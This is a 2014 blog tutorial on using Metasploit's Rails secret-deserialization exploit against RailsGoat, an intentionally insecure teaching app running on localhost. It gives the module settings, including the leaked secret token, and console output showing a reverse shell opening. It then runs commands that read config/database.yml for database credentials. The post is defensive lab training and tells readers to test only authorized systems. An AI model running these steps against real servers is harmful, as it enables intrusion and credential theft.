Last month, we published an article on Static Security Analysis of your Ruby and Rails applications, but what about the other side of the coin, live application scanning and exploitation?
MetaSploit is a very popular tool for doing both good and evil. It is a penetration tester for insecure systems and also an exploit delivery mechanism for those that might not have the best intentions at heart. However, it is a powerful tool that we can use it to check our servers and applications for known exploitable security issues (hopefully before others beat us to it)!
As it happens, MetaSploit and its modules are also written in Ruby!, so let’s get it setup on your computer, so we can take a look at it, and start poking at RailsGoat, an Open-source Rails application that is intentionally insecure as a teaching-tool.
If you are on Linux or Windows, there are binaries available for MetaSploit, but today we are going to take a look at the source.
If we want to exploit an application, we’ll first need an application server running to exploit.
Get it running with this:
git clone https://github.com/OWASP/railsgoat.git cd railsgoat git checkout 7f89ffc # since the git master branch is a moving target rvm use $(cat .ruby-version) --install bundle install rake db:setup rails server
bundle install bombed out on
libv8, and you are on OSX Yosemite, open up
Gemfile.lock and change the version of libv8 to
If everything went smoothly, you should be able to visit http://localhost:3000 in your web browser and see the RailsGoat application is running. Leave the server running in a terminal tab or window.
First, let’s install Nmap if you don’t already have it. Nmap is a command-line tool that can scan an internet host and glean all sorts of useful information about the server and its exposed ports and services, and is required for MetaSploit, so let’s install it:
brew install nmap
Now, let’s get the actual source code for MetaSploit:
git clone https://github.com/rapid7/metasploit-framework.git cd metasploit-framework git checkout f46b4ab # because git master is a moving target rvm use ruby $(cat .ruby-version) --install gem install bundler bundle install
(I had to issue a
bundle update nokogiri on my system since I’m on Yosemite).
And give it a database to use:
createdb metasploit_framework_development -h localhost cp config/database.yml.example config/database.yml
Edit the username and password in
config/database.yml to connect to the database you just created. On default configurations of PostgreSQL, you should be able to use the username of the currently-logged-in user, and no password (as long as the server is running on localhost).
This will connect you to the MetaSploit console, lets take a quick look at some of the things it can do:
help search rails
rails_secret_deserialization exploit looks interesting, let’s load it up:
use exploit/multi/http/rails_secret_deserialization run [-] Exploit failed: The following options failed to validate: RHOST, SECRET
This particular script requires these variables to be set. Look at all the options with:
We can also open the actual exploit script and take a look at it in your favorite text editor, or check it out on GitHub. I recommend it. You can learn all sorts of interesting things, especially by checking out the payloads (like
You can see there are several required options, but most have a default set already. One we want to change is RPORT (which defaults to 80, and we are running our local server on port 3000), but otherwise this seems to just need RHOST and SECRET, so let us set those, too:
set RHOST 127.0.0.1 RHOST => 127.0.0.1 set RPORT 3000 RPORT => 3000
The SECRET is the value of secret_token. Because RailsGoat is very lax in security, it was committed to the repository! Open up the RailsGoat project and find it in
config/initializers/secret_token.rb and paste it in.
set SECRET 2f1d90a26236c3245d96f5606c201a780dc9ca687e5ed82b45e211bb5dc84c1870f61ca9e002dad5dd8a149c9792d8f07f31a9575065cca064bd6af44f8750e4 SECRET => 2f1d90a26236c3245d96f5606c201a780dc9ca687e5ed82b45e211bb5dc84c1870f61ca9e002dad5dd8a149c9792d8f07f31a9575065cca064bd6af44f8750e4
Let’s give it a go:
run [*] Started reverse handler on 192.168.1.71:4444 [*] Checking for cookie [*] Adjusting cookie name to _railsgoat_session [+] SECRET matches! Sending exploit payload [*] Sending cookie _railsgoat_session [*] Command shell session 1 opened (192.168.1.71:4444 -> 192.168.1.71:51656) at 2014-04-21 22:35:58 -0400
Whoops. That isn’t good. It appears we just got shell on the server. If you see a shell, you can already start executing system commands as the user the Rails application is running at, including peeking at database.yml and all kinds of other nastiness.
Sometimes the prompt is returned, and it is obvious you have a shell, but on my system it was blank, but running commands works anyway:
ls cat config/database.yml
bundle exec rails console
When you are ready to stop causing chaos, Ctrl+c and you’ll see:
Abort session 1 [y/N] y
If you have multiple sessions, you can see them with:
and connect to them again with
sessions -i <Id>.
That’s just the tip of the iceberg, I would encourage you to search and look through the source, especially under
You can also run this against your own applications (and I hope you will), but please be a responsible security researcher, and only connect to systems you own or are authorized to access. Accessing a system you aren’t allowed to can be very bad, and you can be sued or even jailed, not to mention that you could ruin other people’s lives and businesses. Don’t do it.
Making security part of your process today will save you from many headaches down the road. No one wants to lose a significant amount of work, to have to reach out to clients to disclose a security issue, or to have their business have to fold entirely due to a malicious hacker or automated internet-scan.
Please, please get out there and update your tech stack and secure your applications before someone else forces your hand.
Latest posts by David Jones (see all)
- Exploit your Rails application with MetaSploit - December 12, 2014
- One weird trick to keep your Rails application away from prying eyes during development. - December 9, 2014
- Static Security Analysis of your Ruby and Rails Applications - November 3, 2014